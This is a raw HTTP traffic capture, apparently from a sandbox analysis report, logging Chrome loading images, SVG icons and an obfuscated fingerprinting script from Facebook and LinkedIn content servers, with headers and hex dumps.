2024-04-11 20:35:35 UTC	590	OUT	GET /v/t1.6435-1/190346650_265045761687051_1168810863429260278_n.jpg?stp=dst-jpg_p200x200&_nc_cat=109&ccb=1-7&_nc_sid=5f2048&_nc_ohc=SHu8gWgWGu0Ab55t1XH&_nc_ht=scontent-lga3-2.xx&oh=00_AfDmv0qW8U6qLukndvPVMqWe13O3GhEBaFBMn4aN1Iv2Eg&oe=663FD48A HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	659	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 24 May 2021 10:49:18 GMT X-Needle-Checksum: 2752207477 thrift_fmhk: GBDzLHGSJOnHeC5WRMObgo41FfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=2333275356 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:35 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 5810
2024-04-11 20:35:35 UTC	1	IN	Data Raw: ff Data Ascii:
2024-04-11 20:35:35 UTC	5809	IN	Data Raw: d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 9c 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 80 1c 02 67 00 14 55 63 55 47 31 66 49 39 50 57 7a 41 46 65 57 37 4b 62 4d 2d 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 38 39 30 31 30 30 30 30 62 64 30 33 30 30 30 30 38 32 30 36 30 30 30 30 63 32 30 37 30 30 30 30 38 38 30 38 30 30 30 30 30 63 30 63 30 30 30 30 35 61 30 66 30 30 30 30 31 32 31 30 30 30 30 30 31 39 31 31 30 30 30 30 64 38 31 31 30 30 30 30 62 32 31 36 30 30 30 30 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a Data Ascii: JFIFPhotoshop 3.08BIMgUcUG1fI9PWzAFeW7KbM-(bFBMD0a000a89010000bd03000082060000c2070000880800000c0c00005a0f00001210000019110000d8110000b2160000C%# , #&')*)-0-(0%()(C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.4	50009	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	553	OUT	GET /aero-v1/sc/h/5qa1f22mxd8ig3o5g568vo59 HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1337	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 306538 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: text/javascript Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Thu, 18 Apr 2024 20:35:35 GMT Last-Modified: Wed, 13 Dec 2023 23:17:42 GMT NEL: {"report_to":"network-errors","max_age":1296000,"success_fraction":0.00066,"failure_fraction":1,"include_subdomains":true} Report-To: {"group":"network-errors","max_age":2592000,"endpoints":[{"url":"https://www.linkedin.com/li/rep"}],"include_subdomains":true} Server: ECAcc (nyd/D130) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 79601 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.001217659; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 00061590b9d0afbeb12ae2ac99fcadb8 X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkLnQr76xKuKsmfytuA== Content-Length: 79601 Connection: close
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 76 61 72 20 5f 30 78 36 30 66 39 3d 5b 27 66 6f 6e 74 57 65 69 67 68 74 27 2c 27 6c 65 74 74 65 72 53 70 61 63 69 6e 67 27 2c 27 6c 69 6e 65 42 72 65 61 6b 27 2c 27 6c 69 6e 65 48 65 69 67 68 74 27 2c 27 6e 6f 6e 65 27 2c 27 74 65 78 74 44 65 63 6f 72 61 74 69 6f 6e 27 2c 27 74 65 78 74 53 68 61 64 6f 77 27 2c 27 77 68 69 74 65 53 70 61 63 65 27 2c 27 77 6f 72 64 53 70 61 63 69 6e 67 27 2c 27 6d 6d 6d 6d 6d 6d 6d 6d 6d 6d 6c 6c 69 27 2c 27 66 6f 6e 74 46 61 6d 69 6c 79 27 2c 27 6f 66 66 73 65 74 48 65 69 67 68 74 27 2c 27 61 70 70 65 6e 64 43 68 69 6c 64 27 2c 27 6f 66 66 73 65 74 57 69 64 74 68 27 2c 27 72 65 6d 6f 76 65 43 68 69 6c 64 27 2c 27 68 61 73 68 4f 6e 6c 79 27 2c 27 6c 69 73 74 73 27 2c 27 6d 69 6d 65 74 79 70 65 73 43 6f 6d 70 6f 6e 65 6e 74 Data Ascii: var _0x60f9=['fontWeight','letterSpacing','lineBreak','lineHeight','none','textDecoration','textShadow','whiteSpace','wordSpacing','mmmmmmmmmmlli','fontFamily','offsetHeight','appendChild','offsetWidth','removeChild','hashOnly','lists','mimetypesComponent
2024-04-11 20:35:35 UTC	1	IN	Data Raw: 78 Data Ascii: x
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 31 27 29 5d 28 5f 30 78 31 32 39 35 32 39 2c 5b 30 78 30 2c 30 78 35 5d 29 2c 5b 30 78 30 2c 30 78 33 38 34 39 35 61 62 35 5d 29 3b 73 77 69 74 63 68 28 5f 30 78 34 63 38 37 36 64 3d 5b 30 78 30 2c 30 78 30 5d 2c 5f 30 78 32 61 65 62 31 39 3d 5b 30 78 30 2c 30 78 30 5d 2c 5f 30 78 63 32 31 37 34 39 29 7b 63 61 73 65 20 30 78 66 3a 5f 30 78 32 61 65 62 31 39 3d 5f 30 78 35 36 39 66 62 30 5b 5f 30 78 32 32 31 31 28 27 30 78 32 27 29 5d 28 5f 30 78 32 61 65 62 31 39 2c 5f 30 78 35 36 39 66 62 30 5b 27 78 36 34 4c 65 66 74 53 68 69 66 74 27 5d 28 5b 30 78 30 2c 5f 30 78 31 36 38 64 35 64 5b 5f 30 78 32 32 31 31 28 27 30 78 34 27 29 5d 28 5f 30 78 35 36 62 38 66 37 2b 30 78 65 29 5d 2c 30 78 33 30 29 29 3b 63 61 73 65 20 30 78 65 3a 5f 30 78 32 61 65 62 31 39 Data Ascii: 1')](_0x129529,[0x0,0x5]),[0x0,0x38495ab5]);switch(_0x4c876d=[0x0,0x0],_0x2aeb19=[0x0,0x0],_0xc21749){case 0xf:_0x2aeb19=_0x569fb0[_0x2211('0x2')](_0x2aeb19,_0x569fb0['x64LeftShift']([0x0,_0x168d5d[_0x2211('0x4')](_0x56b8f7+0xe)],0x30));case 0xe:_0x2aeb19
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 2c 27 6c 69 65 64 52 65 73 6f 6c 75 74 69 6f 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 31 64 39 33 37 5b 27 67 65 74 48 61 73 4c 69 65 64 52 65 73 6f 6c 75 74 69 6f 6e 27 5d 28 29 3b 7d 2c 27 6c 69 65 64 4f 53 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 31 64 39 33 37 5b 5f 30 78 32 32 31 31 28 27 30 78 62 37 27 29 5d 28 29 3b 7d 2c 27 6c 69 65 64 42 72 6f 77 73 65 72 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 31 64 39 33 37 5b 27 67 65 74 48 61 73 4c 69 65 64 42 72 6f 77 73 65 72 27 5d 28 29 3b 7d 7d 2c 5f 30 78 35 62 30 39 38 63 3d 7b 7d 3b 66 6f 72 28 63 6f 6e 73 74 20 5f 30 78 32 31 64 39 33 37 20 69 6e 20 5f 30 78 35 36 39 66 62 30 29 69 66 28 5f 30 78 35 36 39 Data Ascii: ,'liedResolution':function(){return _0x21d937['getHasLiedResolution']();},'liedOS':function(){return _0x21d937[_0x2211('0xb7')]();},'liedBrowser':function(){return _0x21d937['getHasLiedBrowser']();}},_0x5b098c={};for(const _0x21d937 in _0x569fb0)if(_0x569
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 4e 54 5f 55 4e 49 46 4f 52 4d 5f 56 45 43 54 4f 52 53 27 5d 29 2c 5f 30 78 32 35 37 66 36 61 5b 5f 30 78 32 32 31 31 28 27 30 78 31 39 35 27 29 5d 3d 5f 30 78 34 32 65 39 36 61 5b 27 67 65 74 50 61 72 61 6d 65 74 65 72 27 5d 28 5f 30 78 34 32 65 39 36 61 5b 5f 30 78 32 32 31 31 28 27 30 78 31 39 36 27 29 5d 29 2c 5f 30 78 32 35 37 66 36 61 5b 5f 30 78 32 32 31 31 28 27 30 78 31 39 37 27 29 5d 3d 5f 30 78 34 32 65 39 36 61 5b 27 67 65 74 50 61 72 61 6d 65 74 65 72 27 5d 28 5f 30 78 34 32 65 39 36 61 5b 5f 30 78 32 32 31 31 28 27 30 78 31 39 38 27 29 5d 29 2c 5f 30 78 32 35 37 66 36 61 5b 5f 30 78 32 32 31 31 28 27 30 78 31 39 39 27 29 5d 3d 5f 30 78 34 32 65 39 36 61 5b 5f 30 78 32 32 31 31 28 27 30 78 31 38 34 27 29 5d 28 5f 30 78 34 32 65 39 36 61 5b 27 Data Ascii: NT_UNIFORM_VECTORS']),_0x257f6a[_0x2211('0x195')]=_0x42e96a['getParameter'](_0x42e96a[_0x2211('0x196')]),_0x257f6a[_0x2211('0x197')]=_0x42e96a['getParameter'](_0x42e96a[_0x2211('0x198')]),_0x257f6a[_0x2211('0x199')]=_0x42e96a[_0x2211('0x184')](_0x42e96a['
2024-04-11 20:35:35 UTC	14068	IN	Data Raw: 6d 65 6e 74 5b 5f 30 78 32 32 31 31 28 27 30 78 32 31 63 27 29 5d 28 5f 30 78 35 36 39 66 62 30 29 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 78 30 21 3d 3d 5f 30 78 32 31 64 39 33 37 26 26 5f 30 78 32 31 64 39 33 37 5b 5f 30 78 32 32 31 31 28 27 30 78 37 27 29 5d 3e 3d 30 78 31 3b 7d 63 6c 61 73 73 20 5f 30 78 65 31 39 38 35 31 7b 73 74 61 74 69 63 5b 5f 30 78 32 32 31 31 28 27 30 78 32 31 64 27 29 5d 28 5f 30 78 35 36 39 66 62 30 29 7b 63 6f 6e 73 74 20 5f 30 78 32 31 64 39 33 37 3d 6e 65 77 20 41 72 72 61 79 42 75 66 66 65 72 28 5f 30 78 35 36 39 66 62 30 5b 5f 30 78 32 32 31 31 28 27 30 78 37 27 29 5d 29 2c 5f 30 78 33 65 37 66 30 32 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 5f 30 78 32 31 64 39 33 37 29 3b 66 6f 72 28 6c 65 74 20 5f 30 78 32 31 Data Ascii: ment[_0x2211('0x21c')](_0x569fb0);return void 0x0!==_0x21d937&&_0x21d937[_0x2211('0x7')]>=0x1;}class _0xe19851{static[_0x2211('0x21d')](_0x569fb0){const _0x21d937=new ArrayBuffer(_0x569fb0[_0x2211('0x7')]),_0x3e7f02=new Uint8Array(_0x21d937);for(let _0x21

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	50003	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	584	OUT	GET /aero-v1/sc/h/e12h2cd8ac580qen9qdd0qks8 HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.linkedin.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1066	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 306558 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Thu, 18 Apr 2024 20:35:35 GMT Last-Modified: Fri, 13 May 2022 17:24:11 GMT Server: ECAcc (nyd/D110) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 2721 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0010067654; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 00061590b8a7bbc4f4af34b14c0cfa1b X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkLinu8T0rzSxTAz6Gw== Content-Length: 2721 Connection: close
2024-04-11 20:35:35 UTC	2721	IN	Data Raw: 3c 73 76 67 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 36 20 31 34 22 20 70 72 65 73 65 72 76 65 41 73 70 65 63 74 52 61 74 69 6f 3d 22 78 4d 69 6e 59 4d 69 6e 20 6d 65 65 74 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 66 69 6c 6c 3d 22 43 75 72 72 65 6e 74 43 6f 6c 6f 72 22 3e 0a 20 20 20 20 3c 67 20 63 6c 61 73 73 3d 22 69 6e 62 75 67 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 34 2c 31 2e 32 35 20 4c 31 34 2c 31 32 2e 37 35 20 43 31 34 2c 31 Data Ascii: <svg viewBox="0 0 56 14" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" fill="CurrentColor"> <g class="inbug" fill-rule="evenodd"> <path d="M14,1.25 L14,12.75 C14,1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.4	49999	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	584	OUT	GET /aero-v1/sc/h/cyolgscd0imw2ldqppkrb84vo HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.linkedin.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1063	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307099 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Thu, 18 Apr 2024 20:35:35 GMT Last-Modified: Tue, 05 Apr 2022 02:04:42 GMT Server: ECAcc (nyd/D18B) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 201 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.001627604; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 000615909861ddaceb15af296467f3ff X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJhh3azrFa8pZGfz/w== Content-Length: 201 Connection: close
2024-04-11 20:35:35 UTC	201	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 70 72 65 73 65 72 76 65 41 73 70 65 63 74 52 61 74 69 6f 3d 22 78 4d 69 6e 59 4d 69 6e 20 6d 65 65 74 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 3c 70 61 74 68 20 64 3d 22 4d 38 20 39 6c 35 2e 39 33 2d 34 4c 31 35 20 36 2e 35 34 6c 2d 36 2e 31 35 20 34 2e 32 61 31 2e 35 20 31 2e 35 20 30 20 30 31 2d 31 2e 36 39 20 30 4c 31 20 36 2e 35 34 20 32 2e 30 37 20 35 7a 22 20 66 69 6c 6c 3d 22 63 75 72 72 65 6e 74 43 6f 6c 6f 72 22 2f 3e 3c 2f 73 76 67 3e Data Ascii: <svg width="16" height="16" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg"><path d="M8 9l5.93-4L15 6.54l-6.15 4.2a1.5 1.5 0 01-1.69 0L1 6.54 2.07 5z" fill="currentColor"/></svg>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	49995	31.13.71.7	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	396	OUT	GET /hads-ak-prn2/1487645_6012475414660_1439393861_n.png HTTP/1.1 Host: scontent.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	416	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Fri, 21 Dec 2012 00:00:01 GMT Expires: Thu, 11 Apr 2024 20:35:35 GMT cross-origin-resource-policy: cross-origin Server: proxygen-bolt Date: Thu, 11 Apr 2024 20:35:35 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 79
2024-04-11 20:35:35 UTC	1	IN	Data Raw: 89 Data Ascii:
2024-04-11 20:35:35 UTC	78	IN	Data Raw: 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0a 00 00 00 0a 08 02 00 00 00 02 50 58 ea 00 00 00 16 49 44 41 54 18 57 63 fc cf 80 0f 30 61 0a 21 83 91 29 cd c0 00 00 41 2c 01 13 80 ff 5a 6c 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRPXIDATWc0a!)A,ZlIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.4	50006	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	378	OUT	GET /aero-v1/sc/h/ddi43qwelxeqjxdd45pe3fvs1 HTTP/1.1 Host: static.licdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1066	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307091 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Thu, 18 Apr 2024 20:35:35 GMT Last-Modified: Tue, 05 Apr 2022 02:04:43 GMT Server: ECAcc (nyd/D152) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 2435 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0011100905; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 0006159098daf2407d70f4cb7b8bc83c X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJja8kB9cPTLe4vIPA== Content-Length: 2435 Connection: close
2024-04-11 20:35:35 UTC	2435	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 36 30 20 36 30 22 20 77 69 64 74 68 3d 22 36 30 22 20 68 65 69 67 68 74 3d 22 36 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 31 22 20 64 3d 22 4d 33 30 2e 31 2c 31 36 2e 31 4c 33 30 2e 31 2c 31 36 2e 31 63 2d 30 2e 36 2c 30 2d 31 2d 30 2e 35 2d 31 2d 31 56 31 63 30 2d 30 2e 36 2c 30 2e 35 2d 31 2c 31 2d 31 6c 30 2c 30 63 30 2e 36 2c 30 2c 31 2c 30 2e 35 2c 31 2c 31 76 31 34 2e 31 43 33 31 2e 31 2c 31 35 2e 37 2c 33 30 2e 36 2c 31 36 2e 31 2c 33 30 2e 31 2c 31 36 2e 31 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 38 35 22 20 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 60 60" width="60" height="60"> <g> <path opacity="1" d="M30.1,16.1L30.1,16.1c-0.6,0-1-0.5-1-1V1c0-0.6,0.5-1,1-1l0,0c0.6,0,1,0.5,1,1v14.1C31.1,15.7,30.6,16.1,30.1,16.1z"/> <path opacity="0.85"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.4	50008	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	592	OUT	GET /v/t1.6435-1/190346650_265045761687051_1168810863429260278_n.jpg?stp=cp0_dst-jpg_p40x40&_nc_cat=109&ccb=1-7&_nc_sid=5f2048&_nc_ohc=SHu8gWgWGu0Ab55t1XH&_nc_ht=scontent-lga3-2.xx&oh=00_AfCTsmSUVzRPKuwIBc-TQDOj3Px-U7icvrT5-QjEwVmb3A&oe=663FD48A HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	659	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 24 May 2021 10:49:18 GMT X-Needle-Checksum: 2752207477 thrift_fmhk: GBDNQuHCtMpqWsWJJbPuNXY3FfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=2832170936 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:35 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=83, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 1289
2024-04-11 20:35:35 UTC	1	IN	Data Raw: ff Data Ascii:
2024-04-11 20:35:35 UTC	1288	IN	Data Raw: d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 9c 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 80 1c 02 67 00 14 55 63 55 47 31 66 49 39 50 57 7a 41 46 65 57 37 4b 62 4d 2d 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 38 35 30 31 30 30 30 30 64 61 30 31 30 30 30 30 33 64 30 32 30 30 30 30 37 35 30 32 30 30 30 30 61 66 30 32 30 30 30 30 35 39 30 33 30 30 30 30 63 38 30 33 30 30 30 30 66 61 30 33 30 30 30 30 33 36 30 34 30 30 30 30 36 64 30 34 30 30 30 30 30 39 30 35 30 30 30 30 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a Data Ascii: JFIFPhotoshop 3.08BIMgUcUG1fI9PWzAFeW7KbM-(bFBMD0a000a85010000da0100003d02000075020000af02000059030000c8030000fa030000360400006d04000009050000C%# , #&')*)-0-(0%()(C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.4	50000	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	378	OUT	GET /aero-v1/sc/h/8fkga714vy9b2wk5auqo5reeb HTTP/1.1 Host: static.licdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
